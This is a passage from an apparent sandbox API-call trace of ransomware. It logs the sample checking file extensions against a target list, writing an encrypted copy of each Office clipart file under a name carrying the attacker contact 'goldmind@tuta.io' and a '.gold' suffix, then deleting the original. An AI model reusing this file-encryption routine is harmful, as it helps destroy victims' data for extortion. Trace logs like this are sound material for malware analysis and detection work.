Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0103.737] lstrlenW (lpString=".1cd") returned 4 [0103.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0103.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0103.738] lstrlenW (lpString=".jpg") returned 4 [0103.738] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0103.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0103.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0103.738] lstrlenW (lpString=".doc") returned 4 [0103.738] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0103.738] lstrlenW (lpString=".docx") returned 5 [0103.738] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0103.738] lstrlenW (lpString=".pdf") returned 4 [0103.738] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0103.738] lstrlenW (lpString=".xls") returned 4 [0103.738] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0103.738] lstrlenW (lpString=".xlsx") returned 5 [0103.738] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0103.738] lstrlenW (lpString=".ppt") returned 4 [0103.738] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0103.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0103.738] lstrlenW (lpString=".zip") returned 4 [0103.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0103.738] lstrlenW (lpString=".rar") returned 4 [0103.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0103.738] lstrlenW (lpString=".bz2") returned 4 [0103.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0103.738] lstrlenW (lpString=".7z") returned 3 [0103.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0103.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0103.738] lstrlenW (lpString=".dbf") returned 4 [0103.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0103.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0103.738] lstrlenW (lpString=".1cd") returned 4 [0103.738] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0103.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0103.738] lstrlenW (lpString=".jpg") returned 4 [0103.738] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0103.738] lstrcmpiW (lpString1=".BMP", lpString2=".gold") returned -1 [0103.738] lstrlenW (lpString="J0101858.BMP") returned 12 [0103.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0103.782] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=32184) returned 1 [0103.782] CloseHandle (hObject=0x3b4) returned 1 [0103.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp")) returned 0x20 [0103.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0103.783] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.783] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0103.784] GetLastError () returned 0x0 [0103.784] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x7db8, lpOverlapped=0x0) returned 1 [0103.786] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0103.787] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.787] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0103.787] SetEndOfFile (hFile=0x3a8) returned 1 [0103.787] CloseHandle (hObject=0x3a8) returned 1 [0103.787] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.787] SetEndOfFile (hFile=0x3b4) returned 1 [0103.789] CloseHandle (hObject=0x3b4) returned 1 [0103.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.789] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp")) returned 1 [0103.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0103.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0103.790] lstrlenW (lpString=".doc") returned 4 [0103.790] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0103.790] lstrlenW (lpString=".docx") returned 5 [0103.790] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1 [0103.790] lstrlenW (lpString=".pdf") returned 4 [0103.790] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0103.790] lstrlenW (lpString=".xls") returned 4 [0103.790] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0103.790] lstrlenW (lpString=".xlsx") returned 5 [0103.790] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1 [0103.790] lstrlenW (lpString=".ppt") returned 4 [0103.790] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0103.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0103.790] lstrlenW (lpString=".zip") returned 4 [0103.790] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0103.790] lstrlenW (lpString=".rar") returned 4 [0103.790] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0103.790] lstrlenW (lpString=".bz2") returned 4 [0103.790] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0103.790] lstrlenW (lpString=".7z") returned 3 [0103.790] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0103.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0103.790] lstrlenW (lpString=".dbf") returned 4 [0103.790] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0103.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0103.790] lstrlenW (lpString=".1cd") returned 4 [0103.790] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0103.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0103.790] lstrlenW (lpString=".jpg") returned 4 [0103.790] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0103.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0103.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0103.791] lstrlenW (lpString=".doc") returned 4 [0103.791] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0103.791] lstrlenW (lpString=".docx") returned 5 [0103.791] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1 [0103.791] lstrlenW (lpString=".pdf") returned 4 [0103.791] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0103.791] lstrlenW (lpString=".xls") returned 4 [0103.791] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0103.791] lstrlenW (lpString=".xlsx") returned 5 [0103.791] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1 [0103.791] lstrlenW (lpString=".ppt") returned 4 [0103.791] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0103.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0103.791] lstrlenW (lpString=".zip") returned 4 [0103.791] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0103.791] lstrlenW (lpString=".rar") returned 4 [0103.791] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0103.791] lstrlenW (lpString=".bz2") returned 4 [0103.791] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0103.791] lstrlenW (lpString=".7z") returned 3 [0103.791] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0103.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0103.791] lstrlenW (lpString=".dbf") returned 4 [0103.791] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0103.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0103.791] lstrlenW (lpString=".1cd") returned 4 [0103.791] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0103.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0103.791] lstrlenW (lpString=".jpg") returned 4 [0103.791] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0103.791] lstrcmpiW (lpString1=".BMP", lpString2=".gold") returned -1 [0103.791] lstrlenW (lpString="J0101859.BMP") returned 12 [0103.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0103.792] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=31968) returned 1 [0103.792] CloseHandle (hObject=0x3b4) returned 1 [0103.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp")) returned 0x20 [0103.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0103.792] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.792] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0103.793] GetLastError () returned 0x0 [0103.793] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x7ce0, lpOverlapped=0x0) returned 1 [0103.795] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x7cf0, lpOverlapped=0x0) returned 1 [0103.796] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.796] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0103.796] SetEndOfFile (hFile=0x3a8) returned 1 [0103.796] CloseHandle (hObject=0x3a8) returned 1 [0103.796] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.796] SetEndOfFile (hFile=0x3b4) returned 1 [0103.798] CloseHandle (hObject=0x3b4) returned 1 [0103.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.798] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp")) returned 1 [0103.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0103.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0103.799] lstrlenW (lpString=".doc") returned 4 [0103.799] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0103.799] lstrlenW (lpString=".docx") returned 5 [0103.799] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1 [0103.799] lstrlenW (lpString=".pdf") returned 4 [0103.799] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0103.799] lstrlenW (lpString=".xls") returned 4 [0103.799] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0103.799] lstrlenW (lpString=".xlsx") returned 5 [0103.799] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1 [0103.799] lstrlenW (lpString=".ppt") returned 4 [0103.799] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0103.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0103.799] lstrlenW (lpString=".zip") returned 4 [0103.799] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0103.799] lstrlenW (lpString=".rar") returned 4 [0103.799] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0103.799] lstrlenW (lpString=".bz2") returned 4 [0103.799] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0103.799] lstrlenW (lpString=".7z") returned 3 [0103.799] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0103.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0103.799] lstrlenW (lpString=".dbf") returned 4 [0103.799] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0103.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0103.799] lstrlenW (lpString=".1cd") returned 4 [0103.799] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0103.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0103.799] lstrlenW (lpString=".jpg") returned 4 [0103.799] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0103.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0103.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0103.799] lstrlenW (lpString=".doc") returned 4 [0103.799] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0103.800] lstrlenW (lpString=".docx") returned 5 [0103.800] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1 [0103.800] lstrlenW (lpString=".pdf") returned 4 [0103.800] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0103.800] lstrlenW (lpString=".xls") returned 4 [0103.800] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0103.800] lstrlenW (lpString=".xlsx") returned 5 [0103.800] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1 [0103.800] lstrlenW (lpString=".ppt") returned 4 [0103.800] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0103.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0103.800] lstrlenW (lpString=".zip") returned 4 [0103.800] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0103.800] lstrlenW (lpString=".rar") returned 4 [0103.800] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0103.800] lstrlenW (lpString=".bz2") returned 4 [0103.800] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0103.800] lstrlenW (lpString=".7z") returned 3 [0103.800] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0103.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0103.800] lstrlenW (lpString=".dbf") returned 4 [0103.800] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0103.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0103.800] lstrlenW (lpString=".1cd") returned 4 [0103.800] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0103.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0103.800] lstrlenW (lpString=".jpg") returned 4 [0103.800] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0103.800] lstrcmpiW (lpString1=".BMP", lpString2=".gold") returned -1 [0103.800] lstrlenW (lpString="J0101860.BMP") returned 12 [0103.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0103.801] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=32184) returned 1 [0103.801] CloseHandle (hObject=0x3b4) returned 1 [0103.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp")) returned 0x20 [0103.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0103.801] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.801] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0103.802] GetLastError () returned 0x0 [0103.802] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x7db8, lpOverlapped=0x0) returned 1 [0103.803] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0103.804] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.804] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0103.805] SetEndOfFile (hFile=0x3a8) returned 1 [0103.805] CloseHandle (hObject=0x3a8) returned 1 [0103.805] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.805] SetEndOfFile (hFile=0x3b4) returned 1 [0103.810] CloseHandle (hObject=0x3b4) returned 1 [0103.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp")) returned 1 [0103.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0103.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0103.810] lstrlenW (lpString=".doc") returned 4 [0103.811] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0103.811] lstrlenW (lpString=".docx") returned 5 [0103.811] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1 [0103.811] lstrlenW (lpString=".pdf") returned 4 [0103.811] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0103.811] lstrlenW (lpString=".xls") returned 4 [0103.811] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0103.811] lstrlenW (lpString=".xlsx") returned 5 [0103.811] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1 [0103.811] lstrlenW (lpString=".ppt") returned 4 [0103.811] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0103.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0103.811] lstrlenW (lpString=".zip") returned 4 [0103.811] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0103.811] lstrlenW (lpString=".rar") returned 4 [0103.811] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0103.811] lstrlenW (lpString=".bz2") returned 4 [0103.811] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0103.811] lstrlenW (lpString=".7z") returned 3 [0103.811] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0103.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0103.811] lstrlenW (lpString=".dbf") returned 4 [0103.811] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0103.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0103.811] lstrlenW (lpString=".1cd") returned 4 [0103.811] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0103.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0103.811] lstrlenW (lpString=".jpg") returned 4 [0103.811] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0103.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0103.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0103.811] lstrlenW (lpString=".doc") returned 4 